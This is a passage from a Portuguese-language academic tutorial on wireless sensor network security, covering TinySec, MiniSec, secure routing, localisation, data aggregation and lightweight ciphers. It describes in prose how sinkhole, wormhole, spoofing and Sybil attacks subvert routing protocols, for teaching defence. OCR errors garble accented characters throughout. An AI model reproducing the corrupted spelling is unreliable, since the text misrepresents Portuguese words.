mas na cobertura da aplicag¢do) [94].

4.2.2. Arquiteturas de Seguranca

Dadas as necessidades de seguranca caracterizadas pelos servicos de integridade dos da-
dos, confidencialidade, autenticidade do n6 e dos dados, disponibilidade, e dados recentes
(freshness), descritos na Secdo 4.2, alguns autores propuseram arquiteturas de seguranca
para atender a estes servicos. Dentre estas arquiteturas podemos destacar: SPINS [95],
TinySec [58] e MiniSec [75]. Ainda, o padrao IEEE802.15.4 inclui um framework de
seguranca para atender os servigos de integridade dos dados, confidencialidade, autenti-
cidade.

E importante lembrar que os nds sensores nas RSSF geralmente possuem recursos
de processamento, armazenamento, comunicacao e energia limitados e, portanto, os me-
canismos de seguranca empregados devem ser escaldveis (em termos de energia e atraso).

SPINS

Perrig et al. [95] propuseram o SPINS (Security Protocols for Sensor Networks), que é
um conjunto de protocolos de seguranca para RSSFE. Ele consiste de dois blocos bdsicos:
SNEP (Secure Network Encription Protocol) e o WUTESLA (micro Timed Efficient Stream
Loss-tolerant Authentication).

SNEP prové confidencialidade, autenticacdo e integridade da mensagem, além de
evitar ataques de repeticdo, através de criptografia e cdigos de autenticacdo de mensa-
gem (MAC - Message Authentication Code). Sao adicionados 8 bytes por mensagem. A
seguranca semantica € obtida através de um contador que € incrementado a cada mensa-
gem. A autenticacdo dos dados € obtida usando o mesmo algoritmo de criptografia no
modo CBC-MAC [85]. uTESLA emula assimetria através da disponibilizacdo atrasada
de chaves simétricas, e funciona como o servico de autenticacdo de broadcasts para o
SNEP.

TinySec

Uma das arquiteturas de seguranca de RSSF mais conhecida é o TinySec [58], projetado e
implementado no sistema operacional TinyOS. Segundo seus autores, a maior motiva¢ao
para implementa-lo foi o fato do SPINS [95] ndo ter sido nem projetado nem imple-
mentado completamente. E um mecanismo para prover confidencialidade, integridade
e autenticidade na camada de enlace de dados, além de protecdo a repeticio de mensa-
gens. Porém, ndo prové mecanismos para gerenciamento e estabelecimento de chaves,
utilizando uma unica chave para toda a rede, o que sacrifica o seu nivel de seguranca.

O TinySec permite dois modos de operacdo, que refletem em dois formatos de
mensagens: TinySec-Auth, para mensagens autenticadas, e TinySec-AE, para mensagens
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autenticadas e cifradas. No modo TinySec-AE, a carga ttil € de até 29 bytes, que € cifrada,
e o cabegalho do pacote é de 8 bytes, sendo que o pacote inteiro (dados e cabegalho) é
autenticado. No modo TinySec-Auth, o pacote inteiro (dados e cabegalho) € autenticado,
sendo a carga util também de até 29 bytes, mas o cabecalho do pacote € de 4 bytes.

O pacote TinySec-AE € constituido pelos campos de: destino, controle de camada
de rede, tamanho da mensagem transmitida, origem, contador, dados e MAC. Os cinco
primeiros campos do pacote sao utilizados como vetor de inicializa¢io (IV), sendo que o
campo contador (Ctr) € utilizado para que o IV ndo se repita e a cada mensagem enviada,
¢ incrementado. Ao combinar o contador com os outros campos, o TinySec torna o IV
mais complexo e, consequentemente, menos previsivel. O TinySec-Auth utiliza menos
campos que o TinySec-AE, mantendo quatro campos do formato padrdao do pacote do
TinyOS, eliminando dois deles e adicionando o campo de MAC. A elimina¢do do campo
CRC (Cycle Redundance Check) € justificada pelo fato de que o MAC adicionado permite
a deteccdo de erros de transmissao da mensagem.

Em relacdo ao conjunto de algoritmos, o mecanismo de criptografia adotado pelo
TinySec € o modo de operagdo CBC que pode ser combinado com varias cifras de bloco,
dentre as quais RC5 e Skipjack [90]. Para autenticacdo e integridade de mensagens, o
TinySec utiliza o algoritmo CBC-MAC [85].

MiniSec

O MiniSec [75] € um protocolo de camada de seguranca para RSSF, sendo que sua abor-
dagem € parecida com a abordagem do TinySec [58] e se propde a resolver alguns pontos
fracos deste. A principal mudanca de mecanismos em rela¢do ao TinySec € a utilizacao de
um modo de operacdo de cifra de bloco diferente, 0 OCB (Offset Codebook), que elimina
a necessidade de adicionar enchimento aos blocos de texto claro. Desta forma, a mensa-
gem cifrada fica do mesmo comprimento do texto original, economizando na transmissao
de menos bytes. Outra vantagem apontada pelos autores, ¢ que o OCB calcula o texto
cifrado e 0o MAC da mensagem conjuntamente, diferentemente do CBC que necessita de
uma execug¢ao para cifrar a mensagem e outra para gerar o MAC.

Em relagdo ao formato de pacotes, o MiniSec elimina o campo contador (CTR)
presente TinySec para compor o vetor de inicializa¢do (IV), diminuindo 2 bytes do ca-
becalho. Isto é possivel porque o modo de operacdo OCB ndo necessita que o IV seja
aleatdrio, e também porque o MiniSec utiliza somente alguns bits dos campos tamanho
(LEN) e destino (DST) como parte do I'V.

O MiniSec também adiciona prote¢do contra ataques repeti¢do, utilizando meca-
nismos de sincronizacdo e estruturas de dados para armazenar contadores de mensagens.
Esses mecanismos também contribuem para eliminar o campo contador (CTR) do pacote
de transmissao de dados, pois os contadores para sincronizagdo sao utilizados como parte
do IV. Essa abordagem € interessante, porém se um né da RSSF receber mensagens de
muitos nds diferentes as estruturas de dados podem passar a ocupar uma grande de bytes
de memodria, outro recurso limitado nas RSSE. Segundo Luk et al. [75], existe a tendén-
cia de aumento no espaco de memoria nos nds sensores, enquanto as fontes de energia
permanecem restritas, o que torna vidvel o aumento do consumo de memoria em favor da
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economia de energia.

Padrao IEEE 802.15.4

O padrao IEEE 802.15.4 [108] prové os seguintes servicos de seguranca na camada de
enlace: (1) controle de acesso; (2) integridade da mensagem; (3) confidencialidade da
mensagem; e (4) protecdo contra repeticdo. Estes servicos de seguranca sdo providos
através de um dos oito conjuntos de seguranca (security suites) definidos no padrdao. No
entanto, a configuracdo padrao € a de nenhum servico habilitado. O segundo modo prové
somente criptografia, utilizando o AES no modo CTR, enquanto o terceiro prové somente
autenticacdo (AES-CBC-MAC). O quarto modo prové criptografia e autenticacao, utili-
zando o AES-CCM. Observe que o codigo de autenticagdo de mensagem gerado pode ter
128, 64 ou 32 bits, e esta combinacao € permite os oito modos de operacdo [16].

Consideracoes

Tanto o TinySec como o MiniSec, assim como o framework de seguranca do padrao IEEE
802.15.4, operam na camada de enlace de dados. Assim, mensagens transmitidas pelos
no6s da RSSF precisam ser cifradas/decifradas a cada salto na comunicagdo, adicionando
overhead. Da mesma forma, a autenticidade e integridade das mensagens € verificada
através dos codigos de autenticacdo de mensagem. Observe que se uma Unica chave for
usada na RSSF toda (hipétese assumida pelos autores do TinySec [58]), s6 serd realizada
uma tUnica operagdo. Porém, a criptografia na camada de enlace nao protege fungdes da
camada de rede, como roteamento de multiplos saltos, pois nés comprometidos ainda
poderiam gerar mensagens autenticas.

Observe que dependendo do padrdo de comunicagdo entre os nos da RSSF, isto
€, se ocorrem entre pares de nds vizinhos, ou numa vizinhanca, ou do né ao sorvedouro,
diferentes conjuntos de chaves podem ser necessdrias. Desta forma, os mecanismos de
seguranca (criptografia e codigos de autenticacao de mensagem) deveriam ser empregados
na propria camada de aplicagdo.

4.2.3. Roteamento Seguro

O roteamento de dados em RSSF possui alguns desafios caracteristicos deste ambiente. O
principal foco € a coleta de informagdes em uma regido, ndo considerando um né dnico.
A prépria topologia de RSSF € um fator complicador, pois existe um grande nimero de
nods (tipicamente considera-se implantacdes com centenas a milhares de nds); ndo existe
infra-estrutura (energia, monitoramento dos nds); podem ocorrer mudangas de topologia
devido a nds sem energia, ou a adi¢do de novos nds, ou acidentes com 0s nds existentes,
ou mobilidade dos nds sensores.

De acordo com Karlof e Wagner [59], os protocolos de roteamento de RSSF
tornam-se mais suscetiveis a ataques devido a sua simplicidade e, em alguns casos, uma
unica mensagem poderia desabilitar uma RSSF toda. A Tabela 4.1 resume alguns dos
principais protocolos de roteamento para RSSF e como estes podem ser atacados.
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Os protocolos mencionamos na Tabela 4.1 incluem o TinyOS beaconing, que €
distribuido com o sistema operacional TinyOS [52], o Direct Diffusion [55], exemplos
de protocolos de roteamento geografico (como o GEAR [115]), de clustering (como o
LEACH [49]), de conservacao de energia (como o SPAN [23]), entre outros. Nesta se-
cdo, detalhamos trés destes protocolos (7inyOS beaconing, Direct Diffusion e roteamento
geografico), e em seguida, discutimos algumas alternativas seguras.

Tabela 4.1. Resumo de ataques contra alguns protocolos de roteamento de RSSF [59].

| Protocolo | Ataques Relevantes |

TinyOS beaconing Informacdo de roteamento falsa, encaminhamento
seletivo de mensagens, sinkholes, nds irmaos,
wormholes, inundacdo de mensagens de controle.
Directed diffusion Informacéo de roteamento falsa, encaminhamento
seletivo de mensagens, sinkholes, nés irmaos,
wormholes, inundacdo de mensagens de controle.
Roteamento Geografico Informacdo de roteamento falsa, encaminhamento
(GPSR, GEAR) seletivo de mensagens, nds irmaos.
Encaminhamento de custo minimo | Informacao de roteamento falsa, encaminhamento
seletivo de mensagens, sinkholes, wormholes,
inundagdo de mensagens de controle.

Protocolos baseados em clustering | Encaminhamento seletivo de mensagens,

(LEACH, TEEN, PEGASIS) inundagdo de mensagens de controle.

Rumor routing Informagao de roteamento falsa, encaminhamento
seletivo de mensagens, sinkholes, nds irmaos,
wormholes.

Manutengao de topologia para Informacdo de roteamento falsa, nds irmaos,

conservacao de energia inundacao de mensagens de controle.

(SPAN, GAF, CEC, AFECA)

TinyOS Beaconing

O protocolo TinyOS Beaconing constréi uma arvore de cobertura por largura (breadth
first spanning tree) com raiz no né sorvedouro (ou estacdo base). Periodicamente, o sor-
vedouro envia uma atualizacao de rota via broadcast. Os nds que recebem esta atualiza¢do
marcam o sorvedouro como pai, e reenviam a atualizacdo. O algoritmo continua recur-
sivamente, com cada né6 marcando como seu pai aquele de quem recebe a atualizacdo
primeiro naquele periodo. Cada pacote recebido ou gerado por um nd, é encaminhado a
seu pai, até que alcancem o sorvedouro.

Karlof e Wagner [59] discutem como o protocolo TinyOS Beaconing pode ser ata-
cado. Observe que, como os pacotes de atualizagdo de rotas ndo sdo autenticados, qual-
quer n6 pode se passar pelo sorvedouro, enviando estas informacdes a RSSF. A Figura 4.2
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ilustra como a arvore de roteamento muda apds um ataque com informacdes falsas.

Legenda: @ Sorvedouro O Nos bons . Nos maliciosos

| RV
- 'R

(a) RSSF original (b) RSSF com sorvedouro modificado

Figura 4.2. Alteracao do sorvedouro através de informacoes de roteamento falsa.

Mesmo se as informacdes de atualizagao fossem autenticadas, ainda seria possivel
que um atacante monitorasse, removesse ou modificasse pacotes em uma determinada re-
gido combinando ataques de wormhole e sinkhole. Por exemplo, se forem utilizados dois
n6s maliciosos, um préximo ao sorvedouro e outro em uma parte mais distante da rede,
€ possivel criar um wormhole, conforme ilustrado na Figura 4.3. Observe que o alcance
da transmissao destes n6s maliciosos deve ser maior do que o alcance de um né sensor
normal, ou entdo a geografia do local precisa favorecer o particionamento da rede. Note
que € possivel criar o wormhole porque o né malicioso proximo ao sorvedouro encaminha
as atualizagOes autenticadas ao segundo né malicioso, que as encaminha a seus vizinhos.
Como a mensagem de atualizag@o de rota através do segundo né malicioso chega a seus
vizinhos mais rapidamente que a mensagem originalmente enviada pelo sorvedouro, este
né se torna a raiz da arvore de roteamento desta parti¢do da rede, conforme observamos
na Figura 4.3. A partir deste ponto, o né malicioso pode decidir quais pacotes encaminhar
ou nao, interferindo no funcionamento correto da RSSFE.

Legenda:

\ @ Sorvedouro
. O Nos bons

- TR

Figura 4.3. Criacao de wormhole para modificar o roteamento de mensagens na RSSF.

. Nos maliciosos

Dependendo da poténcia de transmissdo do né malicioso, este pode inundar a
rede com mensagens de controle de roteamento (por exemplo, mensagem de atualiza¢ao
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de rota ou de identificacdo de vizinho), eventualmente cobrindo todos os nés na RSSF.
Todos os nds no alcance desta mensagem consideram o n6 malicioso seu pai na arvore
de roteamento. A partir disto, a rede fica comprometida, pois seus pacotes sdo encami-
nhados ao n6 malicioso. Dada a simplicidade do protocolo TinyOS Beaconing, nenhum
mecanismo de recuperagdo desta situac@o parece viavel.

Loops de roteamento podem ser criados através da apropriacao de atualizacoes de
roteamento alheias (spoofing). Por exemplo, se um né malicioso determina que dois nos
A e B possuem alcance de radio. O nd malicioso envia uma mensagem de roteamento
com o endereco de A como origem para B, que marca o n6 A como seu pai. Quando o né
A receber a atualizacao do né B, ira marcar B como seu pai. A partir disso, as mensagens
ficam sendo enviadas de A para B e vice-versa, em um loop.

Direct Diffusion

O Direct Diffusion [55] é um algoritmo de roteamento orientado a dados para extrair
informacdes dos ndés sensores. O sorvedouro envia interesses para tipos de dados
nomeados, criando gradientes na rede destinados a obter os eventos (isto €, dados
combinando com os interesses). Os nds que possam atender aos interesses,
disseminam informacdes no caminho reverso a propagacdo do interesse. NOs que
recebam o0 mesmo interesse de multiplos nés vizinhos, podem propagar os eventos
nos multiplos enlaces correspondentes. Os interesses fluem a uma taxa baixa no
inicio, mas a medida que alcancam o sorvedouro, este pode reforcar uma vizinhanga,
solicitando uma taxa de dados mais alta. Isto continua recursivamente ate alcancgar os
nds que geram os eventos, fazendo com que estes aumentem a taxa de dados. Da mesma
forma, caminhos também podem ser refor¢cados negativamente, fazendo com que diminua
a taxa de envio de dados.

Observa-se que o Direct Diffusion baseia-se na inundacdo de mensagens para atin-
gir seus objetivos de disseminacdo de dados. A inundacdo de mensagens possui natureza
robusta, j4 que multiplas copias de uma mesma mensagem sao enviadas. Portanto, é di-
ficil para um né malicioso impedir que os interesses alcancem os nds capazes de
atendé-los. Assim, neste caso, um adversario tem quatro possiveis objetivos [59]: (1) su-
pressado de fluxo; (2) clonagem de fluxo; (3) influéncia no caminho; e (4) encaminhamento
seletivo e manipulacao de dados.

A supressao de fluxo é um ataque de negagdo de servico. A maneira simples
de atingir o objetivo € através da repeticio de mensagens copiadas de reforco negativo
(negative reinforcement spoofing).

A clonagem de fluxos permite a monitoracio dos mesmos. Um né malicioso
pode repetir o envio de um interesse de um sorvedouro legitimo, listando-o como
sorvedouro. Assim, o n6 malicioso também ira receber os dados deste fluxo.

Um né adversario pode influenciar o caminho ao repetir (spoof) mensagens de
reforco positivo e negativo, e eventos de dados falsos. Por exemplo, se 0 n6 malicioso
quiser desviar o fluxo de dados de modo a estar na rota, ele ird reforcar o evento po-
sitivamente para os nds que enviou o interesse, enquanto envia refor¢cos negativos
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aquele de quem recebeu o interesse. Dessa forma, um fluxo de dados legitimo sera
desviado através do adversdrio, pois este reforcou o caminho com taxas de dados mais al-
tas. Assim, através da manipulacdo dos reforcos positivos e negativos, um nos malicioso
consegue determinar quais mensagens serdo encaminhadas e manipular os dados.

Roteamento Geografico

Geographic and Energy Aware Routing (GEAR) [115]) é um protocolo de roteamento que
utiliza informacao de posicao dos nds para destinos geogréficos para os pacotes para dis-
seminar consultas e respostas de rotas. O GEAR decide o préximo salto na rota utilizando
duas métricas: distancia do alvo e energia disponivel nos préximo né. Assim, um fluxo
ndo é roteado por um Unico caminho, drenando a energia dos nds nesta rota, mas estd num
“feixe” da origem ao sorvedouro.

De acordo com Karlof e Wagner [59], o GEAR pode sofrer influéncia na rota, se
a informacao de localizacdo for informada erroneamente. Independente da localizagdo de
um né malicioso, este pode anunciar a sua posi¢do como sendo parte um fluxo conhe-
cido. Ainda, o n6 malicioso pode anunciar que possui energia maxima, o que o tornaria a
primeira escolha para encaminhar pacotes.

Um né malicioso pode criar um ataque de nds irmaos anunciando a presenga de
multiplos nés falsos perto de um né real, todos eles anunciando méxima energia. Assim,
o né malicioso € escolhido como préximo salto, e pode manipular as mensagens e/ou
monitorar seu contetdo.

Contra-medidas

De acordo com Karlof e Wagner [59], os mecanismos para prover protecao a ataques de
falsificacdo de mensagens, de nds irmaos, inunda¢cdo de mensagens e repeticao de reco-
nhecimentos, sdo: (1) autenticagcdo e criptografia na camada de enlace; (2) roteamento
multi-caminho; (3) verificacao de identidade; (4) broadcast autenticado. Estes mecanis-
mos podem ser aplicados a protocolos existentes. No entanto, ataques usando wormholes
e sinkholes sdo mais complexos e devem ser abordados quando do projeto dos protocolos
de roteamento.

Hu e Sharma [54] recomendam os seguintes itens para obter roteamento seguro:

e Uso de criptografia simétrica para autenticacdo de mensagens de roteamento
e descoberta de rotas: a criptografia simétrica consome menos recursos de pro-
cessamento e memoria que a criptografia assimétrica, conforme apresentado nas
secoes 4.3.1e4.4.1.

e Integrar roteamento com miiltiplos caminhos e roteamento seguro: O uso de
rotas redundantes proveé tolerancia a falhas e dissemina¢ao de dados confidvel.

e Esquemas de roteamento devem ser folerantes a intrusdo e nao detectores de
intrusdo: Determinar se existem ndés intrusos em uma RSSF rapidamente nado é
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simples. Krontiris et al. [61] apresentam um dos primeiros trabalhos de detec¢ao
de intrusdo cooperativa em RSSF, mostrando a viabilidade do esquema para um n6
intruso. Se os protocolos de roteamento forem tolerantes a intrusdo, o dano causado
por ataques deveria ficar contido em uma regido e nao se propagar pela rede.

e Uso de modelo de confianca localizado ao invés de gerenciamento de seguranca
centralizado: Modelos de confianca globais e centralizados s@o caros e complexos
para RSSF. Devido a caracteristica da comunicacdo em RSSF (colaboragdo entre
nés vizinhos, broadcasts), tipicamente um né precisa confiar em seus vizinhos, e
assim um modelo localizado seria mais eficiente.

e Reduzir o overhead de roteamento: a reducdo de mensagens de controle de ro-
teamento reduz o custo de comunicacao entre os nds, consumindo menos energia.
Ainda, como estas mensagens devem utilizar mecanismos de seguranca, seu uso
excessivo implica em mais processamento para autenticar e/ou cifrar seu contetdo.

4.2.4. Localizacao de nos segura

A capacidade de integrar informacdes espaciais ao dados coletados pelos nos sensores é
importante para aplicagdes como rastreamento (tracking) de objetos ou a monitoragdo de
caracteristicas de um ambiente. Para maioria das aplicacdes, a localizagdo melhora o valor
da informacdo obtida, sendo necessdria para o roteamento geografico. Se os nds sensores
possuirem um moédulo GPS (Global Positioning System), é trivial obter a informacao de
localizacao. Da mesma forma, se os nds foram colocados manualmente em coordenadas
pré-determinadas, a sua localizagdo também € conhecida. Caso contrario, € necessario
utilizar outros mecanismos de localizacao.

Segundo Savvides et al. [1], podemos dividir os mecanismos de localizacdo em
duas classes: ativa e passiva. Na localiza¢ao ativa, estdo as técnicas que emitem sinais no
ambiente para medir alcance ao n6 ou alvo, como por exemplo sistemas de radar e sonares
refletores, ou elementos da infra-estrutura que emitem sinais que o nd pode receber, como
0 GPS. Na localizacdo passiva estdo as técnicas que monitoram sinais em um determinado
canal, como por exemplo elementos conhecidos de beacon na infra-estrutura permitem ao
né determinar a sua localizacdo. Apds obter estes sinais, o né deve proceder ao cdlculo
de sua localizagao, utilizando triangulacdo ou trilateragao, por exemplo.

Os servigos de seguranga necessarios a localizagdo segura [2] sdo:

e Autenticacdo: informacdo de localizagdo deve ser fornecida somente por fontes
autorizadas, e portanto € necessdrio autentici-las.

o Integridade: as informacdes fornecidas pelas fontes autorizadas ndao podem ter
sido alteradas para que os nds descubram a sua localizagao.

¢ Disponibilidade: as informacdes devem estar disponiveis quando o né precisar
calcular a sua localizagdo.

e Irretratabilidade: nem a fonte que prové informacdo de localizacdo, nem o né
sensor que recebe essa informacdo deveriam ser capazes de negar a troca de infor-
magdes posteriormente.
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e Privacidade: um dos maiores requisitos de seguranca € manter sigilo sobre a loca-
lizagdo de um né. A fonte deve ajudar o n6 a obter a sua localizagdo, mas nem a
posicao do n6 nem da fonte deveriam se tornar publicas.

Alguns exemplos de técnicas de localizag@o segura sdo: SeRLoc, SPINE (Secure
Positioning in Sensor Networks) e DRBTS (Distributed Reputation and Trust-based Se-
curity Protocol) [2].

O SeRLoc é uma técnica de localizagdo segura, distribuida, resistente a ataques
de wormholes, nés irmdos e comprometimento de nds. Esta técnica considera que os
nos sensores da RSSF possuem antenas omnidirecionais, € que existe um conjunto de
localizadores que possuem antenas direcionais. Cada localizador transmite beacons que
contém duas partes de informacgdo: as coordenadas do localizador e o angulo das linhas
de fronteira da antena em relagdo a um eixo global. O SeRLoc possui restri¢des de setor
exclusivo e alcance de comunicagdo, que ajudam a evitar ataques de wormhole. Assim,
para comprometer o processo de localizacdo, atacantes precisariam se passar por Varios
localizadores.

SPINE (Secure Positioning in Sensor Networks) é um sistema de posicionamento
baseado em alcance e com multi-lateracdo verificavel, permitindo o cdlculo seguro da po-
sicdo e a verificac@o de posi¢cdes de nds moveis. Os nds utilizam relégios com precisao de
nano-segundos para obter limites da sua distancia a pontos de referéncia proximos. Dada
a estimativa de distancia a pelo menos trés pontos de referéncia, € possivel determinar a
localiza¢do por multi-lateracdo. Porém SPINE ¢€ centralizado e pode criar gargalos em
uma autoridade central ou sorvedouro.

O DRBTS (Distributed Reputation and Trust-based Security Protocol) € um pro-
tocolo que pretende prover localizacdo segura. Os nds beacon monitoram uns aos outros,
fornecendo informacdes aos nds sensores sobre quais beacons sio confidveis, usando uma
abordagem de eleicdo. Para que seja considerado confidvel um né beacon precisa rece-
ber votos de pelo menos metade dos seus vizinhos comuns. A medida que aumenta a
densidade de nds, o sistema torna-se mais robusto.

4.2.5. Agregacao de dados segura

Um dos principais componentes no consumo de energia de um no sensor € a comunica-
cdo. Assim, uma das principais estratégias € a agregacdo de dados na RSSF, de modo
a minimizar a transmissao de dados redundantes. Solis e Obraczka [106] discutem as-
pectos importantes na agregacao de dados na RSSF, mostrando como a determinagao dos
periodos de agregacdo dos dados nos nds pode levar ao atraso do envio dos dados ao sor-
vedouro. Além desse aspecto, que pode ser observado pelo aspecto de que o sorvedouro
deve receber dados recentes (data freshness), ¢ importante garantir a integridade dos da-
dos. Dependendo da aplicacdo sendo executada na RSSF, a confidencialidade também ¢é
importante.

Alzaid et al. [4] fazem uma pesquisa sobre seguranca na agregacdo de dados, e
propdem uma classificagdo dos esquemas existentes, apresentada na Figura 4.4. A pri-
meiro classificagdo é com relagdo ao nimero de nés que realizam a agregacdo de dados
dentro da RSSF, antes dos dados atingirem o sorvedouro. S@o duas as possibilidades: um
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unico né agregador ou multiplos nés agregadores. A segunda classificagao € com relagao
a existéncia ou ndo da fase de verificacdo, que estd associada a integridade dos dados
sendo agregados.

Mecanismos de Agregagao
de Dados Seguro

/\

Modelo com mdltiplos nés

Modelo com um né agregador

agregadores
Sem Fase de Com Fase de Sem Fase de Com Fase de
Verificagao Verificagao Verificagao Verificagao
SecureDAV RA EDA SDAP
SIA CDA SHDA
WDA SRDA ESA

SDA

Figura 4.4. Classificacao de mecanismos de agregacao de dados seguros.

Esquemas com um tnico né agregador se aplicam a RSSF pequenas, ou caso o
resultado de uma consulta deva ser enviado a um né externo a RSSF. Este n6 agregador
precisa de recursos computacionais € mais energia que os demais nds para agregar 0s
dados neste modelo. O caso de muiltiplos nés agregadores se aplica a RSSF maiores,
onde varios ou todos os nds podem realizar a agregacao de dados. A fase de verificacdao
permite que o nd que realizou a consulta a RSSF consiga verificar se todos os dados
agregados sao validos. Esta verificacdo € mais complexa quando existem multiplos nés
agregadores na RSSF.

De acordo com a classificacdo apresentada na Figura 4.4, os principais esque-
mas de agregacao segura incluem: SecureDAV, RA (Resilient Aggregation), SIA (Secure
Aggregation Information), WDA (Witness Based Data Aggregation), EDA (Encryption
Data Aggregation), CDA (Concealed Data Aggregation), SRDA (Secure Refrence-based
Data Aggregation), SDAP (Secure hop-by-hop Data Aggregation Protocol), SHDA, ESA
e SDA (Secure Data Aggregation) [4]. As principais caracteristicas de alguns destes es-
quemas sdo descritos a seguir.

SDA (Secure Data Aggregation) utiliza multiplos nds agregadores com fase de
verificacdo. As medidas obtidas por um né sdo encaminhadas aos préximos saltos, e
sdo verificadas e agregadas no segundo salto. O né sensor precisa armazenar as medidas
para autenticd-lo com uma chave compartilhada com o sorvedouro. O esquema prové
integridade de dados, autenticagdo e dados recentes. Porém, se nds pais e filho forem
comprometidos, a integridade pode ser quebrada.

O ESA € um extensdo do SDA, onde os autores propde o uso de chaves para a co-
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municacgao entre pares de nds vizinhos (um salto) e chaves para pares de nds a dois saltos
de distancia. Isso elimina a necessidade de armazenar dados para verificar a autenticidade
com a chave do sorvedouro, além de permitir o uso de criptografia na comunicacgdo entre
os nds, garantindo a confidencialidade.

O SecureDAV melhora a garantia de integridade do SDA e EDA ao assinar os
dados agregados. Este esquema baseia-se em cluster, onde existe uma chave secreta com-
partilhada para verificacdo dos dados agregados. Se o n6 concordar com o media divul-
gada pelo n6 agregador, que € o cluster-head, ele assina o valor agregado. O n6 agregador
combina as assinaturas para gerar uma assinatura total do cluster do dado agregado, que
¢ enviado ao sorvedouro.

SIA (Secure Aggregation Information) € um framework com trés fases: (1) coletar
os dados dos sensores e agregar localmente, (2) confirmar os dados e reportar o resultado
da agregacdo ao sorvedouro e (3) provar que o resultado esta correto. Nesta arquitetura,
cada né compartilha uma chave secreta com o sorvedouro e com o né agregador, que
permite verificacio de autenticidade e confidencialidade.

O WDA (Witness Based Data Aggregation) é um esquema para garantir a vali-
dacdo dos dados enviados por um né agregador. Para esta prova, o né agregador envia
diversas provas de testemunhas ao sorvedouro. As testemunhas também sao nds agrega-
dores, mas que ndo enviam seus resultados ao sorvedouro. Ao invés disso, elas calculam o
MAC (c6digo de autenticacdo de mensagem) do resultado dos dados agregados, e enviam
o MAC ao n6s agregador como prova. Este esquema garante somente a integridade dos
dados agregados. Observe que tanto 0 0 WDA e o SecureDAV nao garantem que os dados
sdo recentes (data freshness) [4].

Mais recentemente, Castelluccia et al. [20] propde um esquema de criptografia que
permite a agregacdo aditiva de dados cifrados. A agregacio baseada neste esquema pode
ser usada para cdlculo de valores estatisticos, como a média, variancia e desvio padrdo
dos dados coletados pelos nds sensores.

Observe que, assim como no caso do roteamento seguro ¢ dos mecanismos de
localizacdo segura, sdo necessarios esquemas que facam uso de autenticacdo e criptografia
dos dados, verificacdo de identidade das partes envolvidas, e garantia de que os dados sdo
recentes para obter a agregacao segura dos dados.

4.3. Criptografia Simétrica

Uma cifra simétrica (ou simplesmente cifra) € um tipo de algoritmo criptografico reversi-
vel utilizado para garantir confidencialidade aos dados. Durante o processo de encripta-
¢do, uma cifra transforma uma mensagem legivel M em uma mensagem cifrada C usando
uma chave secreta K; o processo inverso é denominado decriptacdo.

Cifras de bloco operam apenas sobre conjuntos de dados tendo um tamanho de-
finido, n, que é denominado o tamanho de bloco. Para processar mensagens menores do
que n, técnicas de padding [87] sdo necessérias, pelas quais alguns bits sdo adicionados a
mensagem até que um bloco seja completado. Mensagens maiores do que n sdo proces-
sadas bloco a bloco, de acordo com um determinado modo de operagdo; e.g., no modo
CBC [87], cada bloco cifrado € combinado com o seguinte por meio de uma operacao
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de ou-exclusivo (XOR), e apenas entdo o resultado é encriptado novamente. E comum
encontrar cifras de bloco que adotam uma estrutura interativa, i.e., compostas por sub-
operacOes (denominadas rounds) que se repetem um certo nimero de vezes. Este é o
caso, por exemplo, do Rijndael [34], escolhido como o atual AES (Advanced Encryp-
tion Standard — ou “Padrao Avangado de Encriptacdo”) [86] e adotado mundialmente.
Cada round utiliza uma sub-chave gerada a partir da chave secreta inicial, no processo
conhecido como escalonamento de chaves.

Cifras de fluxo, por outro lado, produzem uma sequéncia pseudo-aleatoria de bits
que sdo combinados com a mensagem legivel via XOR ou outra opera¢do simples. Assim,
nao h4 restri¢do no tamanho das mensagens que podem ser processadas, nem necessidade
de padding ou um modo de operacdo. Apesar de cifras de fluxo serem potencialmente
mais rapidas do que cifras de bloco, a arte de projetar cifras de bloco € atualmente melhor
dominada, o que costuma motivar uma mais ampla adog¢do destas ultimas. De fato, quando
um comportamento de fluxo € desejado (e.g., para prevenir a expansdo das mensagens
causada por padding), ¢ comum usar uma cifra de bloco em um modo de operacido que
emule o comportamento de cifras de fluxo (e.g., CTR [87]).

4.3.1. Uso de cifras em RSSF

Redes de sensores possuem diversas peculiaridades que devem ser consideradas quando
da escolha de algoritmos criptogrificos. Isto acontece porque a maioria das cifras con-
sideradas robustas atualmente foram desenvolvidos para propdsitos gerais, adaptando-se
a diversos cendrios. Assim, elas ndo necessariamente respondem de forma otimizada as
limitacdes de memoria, energia e capacidade de processamento inerentes aos dispositivos
utilizado em RSSF.

Um ponto importante diz respeito a possivel expansao de mensagens causada por
técnicas como padding. E altamente recomendado que tal expansio seja evitada, mesmo
que isto signifique um aumento na quantidade de processamento necessario, ja que a
transmissao de 1 bit requer uma quantidade de energia equivalente a execucao de 800-
1000 instrucdes [S57]. Portanto, a ado¢do de uma cifra de fluxo — ou, equivalentemente,
de um modo de operacdo em fluxo para cifras de bloco — ou de técnicas que previnam o
aparecimento deste problema (e.g., Ciphertext Stealing [82]) devem ser considerados.

No caso de cifras de bloco, o préprio tamanho de bloco deve ser escolhido com
cuidado, j4 que as mensagens trocadas entre nés — bem como entre nds e centrais de
processamento — costumam ser inferiores a 60 bytes [26], sendo 24 bytes muitas vezes
considerado um tamanho tipico [84]. Desta forma, a adoc¢do de cifras que operam sobre
blocos muito grandes acaba levando a um “desperdicio” de energia decorrente da maior
quantidade de processamento envolvida e da possivel expansdo das mensagens encripta-
das (dependendo do modo de operagdo utilizado). De fato, o tamanho de bloco do AES,
de 128 bits, € por vezes considerado muito grande para uso em RSSF [99].

Por outro lado, devido a reduzida largura de banda apresentada pelos sensores, o
nimero de mensagens disponiveis para um atacante ¢ bem menor do que o normalmente
encontrado em redes convencionais, o que permite a adog¢ao de algoritmos criptograficos
um pouco menos conservadores [57].
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Atualmente, diversas solu¢des de seguranca voltadas a RSSF (e.g., TinySec [57],
Sensec [69] e Minisec [74]) adotam como padrao o Skipjack, uma cifra de bloco conven-
cional que apresenta um bom desempenho mas fornece uma reduzida margem de segu-
ranca’. No entanto, em razio das particularidades inerentes a estas redes, bem como 2
sua crescente importancia, diversos trabalhos t€m sido desenvolvidos tanto no sentido de
identificar as cifras mais adequadas para este contexto quanto visando ao desenvolvimento
de solucdes dedicadas.

A seguir, serdo apresentadas algumas cifras desenvolvidas especificamente para
redes com recursos limitados. Em seguida, serdo discutidos alguns resultados da literatura
que avaliam o desempenho destas e de outras cifras.

4.3.2. Cifras Dedicadas: Estado-da-Arte

Existem atualmente diversas solugdes criptogréficas dedicadas a sistemas embarcados.
Exemplos de propostas recentes incluem CURUPIRA [104], PRESENT [15], HIGHT [53],
